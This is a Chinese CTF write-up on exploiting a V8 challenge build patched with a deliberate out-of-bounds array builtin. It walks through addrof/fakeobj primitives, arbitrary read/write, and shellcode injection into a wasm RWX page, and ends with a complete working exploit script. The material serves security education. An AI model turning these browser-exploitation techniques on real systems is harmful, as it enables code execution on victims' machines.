作者:V1NKe
来源:https://xz.aliyun.com/t/5368

前言:

之前参加*CTF看到出了一道v8的题,之前就对v8感兴趣,拖了很久才把这题给弄清楚。不过这题出题人在原基础上自己写了漏洞的代码,算是相对较简单的一道题,算是作为v8初识的一道题。

正文:

拿到一个diff

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();

     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

看新加的oob函数就行(虽然我也看不太懂写的是个啥玩楞2333。里面的readwrite注释,还有直接取了length可以大概意识到是一个越界读写的漏洞。

a.oob()就是将越界的首个8字节给读出,a.oob(1)就是将1写入越界的首个8字节。

那么越界读写就好办了,先测试一下看看:

?  x64.release git:(6dc88c1) ? ./d8 
V8 version 7.5.0 (candidate)
d8> a = [1,2,3,4]
[1, 2, 3, 4]
d8> a.oob()    
4.42876206109e-311

因为v8中的数以浮点数的形式显示,所以先写好浮点数与整数间的转化原语函数:

var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);

function ftoi(floo){
    fl[0] = floo;
    return ui[0];
}

function itof(intt){
    ui[0] = intt;
    return fl[0];
}

function tos(data){
    return "0x"+data.toString(16);
}

上手调试,先看看一个数组的排布情况:

var a = [0x1000000,2,3,4];
pwndbg> x/10xg 0x101d1f8d0069-1
0x101d1f8d0068: 0x00000a9abe942d99  0x000012a265ac0c71   --> JSArray
0x101d1f8d0078: 0x0000101d1f8cf079  0x0000000400000000
0x101d1f8d0088: 0x0000000000000000  0x0000000000000000
0x101d1f8d0098: 0x0000000000000000  0x0000000000000000
0x101d1f8d00a8: 0x0000000000000000  0x0000000000000000
pwndbg> x/10xg 0x0000101d1f8cf079-1
0x101d1f8cf078: 0x000012a265ac0851  0x0000000400000000   --> FixedArray
0x101d1f8cf088: 0x0100000000000000  0x0000000200000000
0x101d1f8cf098: 0x0000000300000000  0x0000000400000000
0x101d1f8cf0a8: 0x000012a265ac0851  0x0000005c00000000
0x101d1f8cf0b8: 0x0000000000000000  0x0000006100000000

所以此时的a.oob()所泄漏的应该是0x000012a265ac0851的double形式。但是我们无法知道0x000012a265ac0851是什么内容,不可控。那么我们换一个数组,看以下数组情况:

var a = [1.1,2.2,3.3,4.4];
pwndbg> x/10xg 0x0797a34100c9-1
0x797a34100c8:  0x00001c07e15c2ed9  0x00000df4ef880c71   --> JSArray
0x797a34100d8:  0x00000797a3410099  0x0000000400000000
0x797a34100e8:  0x0000000000000000  0x0000000000000000
0x797a34100f8:  0x0000000000000000  0x0000000000000000
0x797a3410108:  0x0000000000000000  0x0000000000000000
pwndbg> x/10xg 0x00000797a3410099-1
0x797a3410098:  0x00000df4ef8814f9  0x0000000400000000   --> FixedArray
0x797a34100a8:  0x3ff199999999999a  0x400199999999999a
0x797a34100b8:  0x400a666666666666  0x401199999999999a
0x797a34100c8:  0x00001c07e15c2ed9  0x00000df4ef880c71   --> JSArray
0x797a34100d8:  0x00000797a3410099  0x0000000400000000

我们可以看见FixedArrayJSArray是紧邻的,所以a.oob()泄漏的是0x00001c07e15c2ed9,即JSArraymap值(PACKED_DOUBLE_ELEMENTS)。这样我们就好构造利用了。

类型混淆:

假设我们有一个浮点型的数组和一个对象数组,我们先用上面所说的a.oob()泄漏各自的map值,在用我们的可写功能,将浮点型数组的map写入对象数组的map,这样对象数组中所存储的对象地址就被当作了浮点值,因此我们可以泄漏任意对象的地址。

相同的,将对象数组的map写入浮点型数组的map,那么浮点型数组中所存储的浮点值就会被当作对象地址来看待,所以我们可以构造任意地址的对象。

泄漏对象地址和构造地址对象:

先得到两个类型的map

var obj = {"A":0x100};
var obj_all = [obj];
var array_all = [1.1,2,3];
var obj_map = obj_all.oob();       //obj_JSArray_map
var float_array_map = array_all.oob();   //float_JSArray_map

再写出泄漏和构造的两个函数:

function leak_obj(obj_in){                //泄漏对象地址
    obj_all[0] = obj_in;
    obj_all.oob(float_array_map);
    let leak_obj_addr = obj_all[0];
    obj_all.oob(obj_map);
    return ftoi(leak_obj_addr);
}

function fake_obj(obj_in){                //构造地址对象
    array_all[0] = itof(obj_in);
    array_all.oob(obj_map);
    let fake_obj_addr = array_all[0];
    array_all.oob(float_array_map);
    return fake_obj_addr;
}

得到了以上的泄漏和构造之后我们想办法将利用链扩大,构造出任意读写的功能。

任意写:

先构造一个浮点型数组:

var test = [7.7,1.1,1,0xfffffff];

再泄漏该数组地址:

leak_obj(test);

这样我们可以得到数组的内存地址,此时数组中的情况:

pwndbg> x/20xg 0x2d767fbd0019-1-0x30
0x2d767fbcffe8: 0x000030a6f3b014f9  0x0000000400000000   --> FixedArray
0x2d767fbcfff8: 0x00003207dce82ed9  0x3ff199999999999a
0x2d767fbd0008: 0x3ff0000000000000  0x41affffffe000000
0x2d767fbd0018: 0x00003207dce82ed9  0x000030a6f3b00c71   --> JSArray
0x2d767fbd0028: 0x00002d767fbcffe9  0x0000000400000000

我们可以利用构造地址对象把0x2d767fbcfff8处伪造为一个JSArray对象,我们将test[0]写为浮点型数组的map即可。这样,0x2d767fbcfff8-0x2d767fbd0018的32字节就是JSArray,我们再在0x2d767fbd0008任意写一个地址,我们就能达到任意写的目的。比如我们将他写为0x2d767fbcffc8,那么0x2d767fbcffc8处就是伪造的FixedArray0x2d767fbcffc8+0x10处就为elements的内容,把伪造的对象记为fake_js,那么执行:

fake_js[0] = 0x100;

即把0x100复制给0x2d767fbcffc8+0x10处。

任意写:

任意写就很简单了,就是:

console.log(fake_js[0]);

取出数组内容即可。

那么接下来写构造出来的任意读写函数:

function write_all(read_addr,read_data){
    let test_read = fake_obj(leak_obj(tt)-0x20n);
    tt[2] = itof(read_addr-0x10n);
    test_read[0] = itof(read_data);
}

function read_all(write_addr){
    let test_write = fake_obj(leak_obj(tt)-0x20n);
    tt[2] = itof(write_addr-0x10n);
    return ftoi(test_write[0]);
}

有了任意读写之后就好利用了,可以用pwn中的常规思路来后续利用:

  1. 泄漏libc基址
  2. 覆写__free_hook
  3. 触发__free_hook

后续在覆写__free_hook的过程中,会发现覆写不成功(说是浮点数组处理7f高地址的时候会有变换。

所以这里需要改写一下任意写,这里我们就需要利用ArrayBufferbacking_store去利用任意写:

先新建一块写区域:

var buff_new = new ArrayBuffer(0x20);
var dataview = new DataView(buff_new);
%DebugPrint(buff_new);

这时候写入:

dataview.setBigUint64(0,0x12345678,true);

ArrayBuffer中的backing_store字段中会发现:

pwndbg> x/10xg 0x029ce8f500a9-1
0x29ce8f500a8:  0x00002f1fa5c821b9  0x00002cb659b80c71
0x29ce8f500b8:  0x00002cb659b80c71  0x0000000000000020
0x29ce8f500c8:  0x000055555639fe70  --> backing_store  0x0000000000000002
0x29ce8f500d8:  0x0000000000000000  0x0000000000000000
0x29ce8f500e8:  0x00002f1fa5c81719  0x00002cb659b80c71
pwndbg> x/10xg 0x000055555639fe70
0x55555639fe70: 0x0000000012345678  0x0000000000000000
0x55555639fe80: 0x0000000000000000  0x0000000000000000
0x55555639fe90: 0x0000000000000000  0x0000000000000041
0x55555639fea0: 0x000055555639fe10  0x000000539d1ea015
0x55555639feb0: 0x0000029ce8f500a9  0x000055555639fe70

因此,只要我们先将backing_store改写为我们所想要写的地址,再利用dataview的写入功能即可完成任意写:

function write_dataview(fake_addr,fake_data){
    let buff_new = new ArrayBuffer(0x30);
    let dataview = new DataView(buff_new);
    let leak_buff = leak_obj(buff_new);
    let fake_write = leak_buff+0x20n;
    write_all(fake_write,fake_addr);
    dataview.setBigUint64(0,fake_data,true);
}

而后就可以按照正常流程来读写利用了。

这里就介绍一种在浏览器中比较稳定利用的一个方式,利用wasm来劫持程序流。

wasm劫持程序流:

v8中,可以直接执行wasm中的字节码。有一个网站可以在线将C语言直接转换为wasm并生成JS调用代码:https://wasdk.github.io/WasmFiddle

左侧是c语言,右侧是js代码,选Code Buffer模式,点build编译,左下角生成的就是wasm code

有限的是c语言部分只能写一些很简单的return功能。多了赋值等操作就会报错。但是也足够了。

将上面生成的代码测试一下:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var leak_f = leak_obj(f);
//console.log('0x'+leak_f.toString(16));
console.log(f());
%DebugPrint(test);
%SystemBreak();

会得到42的结果,那么我们很容易就能想到,如果用任意写的功能,将wasm中的可执行区域写入shellcode呢?

我们需要找到可执行区域的字段。

直接给出字段:

Function–>shared_info–>WasmExportedFunctionData–>instance

在空间中的显示:

Function:
pwndbg> x/10xg 0x144056c21f31-1
0x144056c21f30: 0x00002ab4903c4379  0x00003de1f2ac0c71
0x144056c21f40: 0x00003de1f2ac0c71  0x0000144056c21ef9   --> shared_info
0x144056c21f50: 0x0000144056c01869  0x000001a263740699
0x144056c21f60: 0x00001defa6dc2001  0x00003de1f2ac0bc1
0x144056c21f70: 0x0000000400000000  0x0000000000000000
shared_info:
pwndbg> x/10xg 0x0000144056c21ef9-1
0x144056c21ef8: 0x00003de1f2ac09e1  0x0000144056c21ed1   --> WasmExportedFunctionData
0x144056c21f08: 0x00003de1f2ac4ae1  0x00003de1f2ac2a39
0x144056c21f18: 0x00003de1f2ac04d1  0x0000000000000000
0x144056c21f28: 0x0000000000000000  0x00002ab4903c4379
0x144056c21f38: 0x00003de1f2ac0c71  0x00003de1f2ac0c71
WasmExportedFunctionData:
pwndbg> x/10xg 0x0000144056c21ed1-1
0x144056c21ed0: 0x00003de1f2ac5879  0x00001defa6dc2001
0x144056c21ee0: 0x0000144056c21d39   --> instance    0x0000000000000000
0x144056c21ef0: 0x0000000000000000  0x00003de1f2ac09e1
0x144056c21f00: 0x0000144056c21ed1  0x00003de1f2ac4ae1
0x144056c21f10: 0x00003de1f2ac2a39  0x00003de1f2ac04d1
instance+0x88:
pwndbg> telescope 0x0000144056c21d39-1+0x88
00:0000│   0x144056c21dc0 —? 0x27860927e000 ?— movabs r10, 0x27860927e260 /* 0x27860927e260ba49 */       --> 可执行地址
01:0008│   0x144056c21dc8 —? 0x2649b9fd0251 ?— 0x7100002ab4903c91
02:0010│   0x144056c21dd0 —? 0x2649b9fd0489 ?— 0x7100002ab4903cad
03:0018│   0x144056c21dd8 —? 0x144056c01869 ?— 0x3de1f2ac0f
04:0020│   0x144056c21de0 —? 0x144056c21e61 ?— 0x7100002ab4903ca1
05:0028│   0x144056c21de8 —? 0x3de1f2ac04d1 ?— 0x3de1f2ac05
pwndbg> vmmap 0x27860927e000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x27860927e000     0x27860927f000 rwxp     1000 0

可得知0x144056c21dc0处的0x27860927e000为可执行区域,那么只需要将0x144056c21dc0处的内容读取出来,在将shellcode写入读取出来的地址处即可完成程序流劫持:

var data1 = read_all(leak_f+0x18n);
var data2 = read_all(data1+0x8n);
var data3 = read_all(data2+0x10n);
var data4 = read_all(data3+0x88n);
//console.log('0x'+data4.toString(16));

let buff_new = new ArrayBuffer(0x100);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write,data4);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for(var i=0;i<shellcode.length;i++){
    dataview.setUint32(4*i,shellcode[i],true);
}
f();

利用成功:

img

EXP:

var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);

function ftoi(floo){
    fl[0] = floo;
    return ui[0];
}

function itof(intt){
    ui[0] = intt;
    return fl[0];
}

function tos(data){
    return "0x"+data.toString(16);
}

var obj = {"A":1};
var obj_all = [obj];
var array_all = [1.1,2,3];
var obj_map = obj_all.oob();       //obj_JSArray_map
var float_array_map = array_all.oob();   //float_JSArray_map

function leak_obj(obj_in){
    obj_all[0] = obj_in;
    obj_all.oob(float_array_map);
    let leak_obj_addr = obj_all[0];
    obj_all.oob(obj_map);
    return ftoi(leak_obj_addr);
}

function fake_obj(obj_in){
    array_all[0] = itof(obj_in);
    array_all.oob(obj_map);
    let fake_obj_addr = array_all[0];
    array_all.oob(float_array_map);
    return fake_obj_addr;
}

var tt = [float_array_map,1.1,1,0xfffffff];

function write_all(read_addr,read_data){
    let test_read = fake_obj(leak_obj(tt)-0x20n);
    tt[2] = itof(read_addr-0x10n);
    test_read[0] = itof(read_data);
}

function read_all(write_addr){
    let test_write = fake_obj(leak_obj(tt)-0x20n);
    tt[2] = itof(write_addr-0x10n);
    return ftoi(test_write[0]);
}

//console.log(tos(read_all(leak_obj(tt)-0x20n)));
//write_all(leak_obj(tt)-0x20n,0xffffffn);

function sj_leak_test_base(leak_addr){
    leak_addr -= 1n;
    while(true){
        let data = read_all(leak_addr+1n);
        let data1 = data.toString(16).padStart(16,'0');
        let data2 = data1.substr(13,3);
        //console.log(toString(data));
        //console.log(data1);
        //console.log(data2);
        //%SystemBreak();
        if(data2 == '2c0' && read_all(data+1n).toString(16) == "ec834853e5894855"){
            //console.log('0x'+data.toString(16));
            return data;
        }
        leak_addr -= 8n;
    }
}

function write_dataview(fake_addr,fake_data){
    let buff_new = new ArrayBuffer(0x30);
    let dataview = new DataView(buff_new);
    let leak_buff = leak_obj(buff_new);
    let fake_write = leak_buff+0x20n;
    write_all(fake_write,fake_addr);
    dataview.setBigUint64(0,fake_data,true);
}

function wd_leak_test_base(test){
    let test_fake = leak_obj(test.constructor);
    test_fake += 0x30n;
    test_fake = read_all(test_fake)+0x40n;
    test_fake = (read_all(test_fake)&0xffffffffffff0000n)>>16n;
    return test_fake;
}

function write_system_addr(leak_test_addr){
    var elf_base = leak_test_addr - 11359456n;
    console.log("[*] leak elf base success: 0x"+elf_base.toString(16));
    var puts_got = elf_base + 0xD9A3B8n;
    puts_got = read_all(puts_got+1n);
    console.log("[*] leak puts got success: 0x"+puts_got.toString(16));
    var libc_base = puts_got - 456336n;
    console.log("[*] leak libc base success: 0x"+libc_base.toString(16));
    var free_hook = libc_base + 3958696n;
    console.log("[*] leak __free_hook success: 0x"+free_hook.toString(16));
    var one_gadget = libc_base + 0x4526an;
    console.log("[*] leak one_gadget success: 0x"+one_gadget.toString(16));
    var system_addr = libc_base + 283536n;
    write_dataview(free_hook,system_addr);
}

function get_shell(){
    var bufff = new ArrayBuffer(0x10);
    var dataa = new DataView(bufff);
    dataa.setBigUint64(0,0x0068732f6e69622fn,true);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var leak_f = leak_obj(f);
//console.log('0x'+leak_f.toString(16));
//console.log(f());
//%DebugPrint(f);
//%SystemBreak();

var data1 = read_all(leak_f+0x18n);
var data2 = read_all(data1+0x8n);
var data3 = read_all(data2+0x10n);
var data4 = read_all(data3+0x88n);
//console.log('0x'+data4.toString(16));

let buff_new = new ArrayBuffer(0x100);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write,data4);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for(var i=0;i<shellcode.length;i++){
    dataview.setUint32(4*i,shellcode[i],true);
}

//dataview.setBigUint64(0,0x2fbb485299583b6an,true);
//dataview.setBigUint64(8,0x5368732f6e69622fn,true);
//dataview.setBigUint64(16,0x050f5e5457525f54n,true);
f();

Reference:

  1. https://www.freebuf.com/vuls/203721.html
  2. https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-oob/README.md

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/946/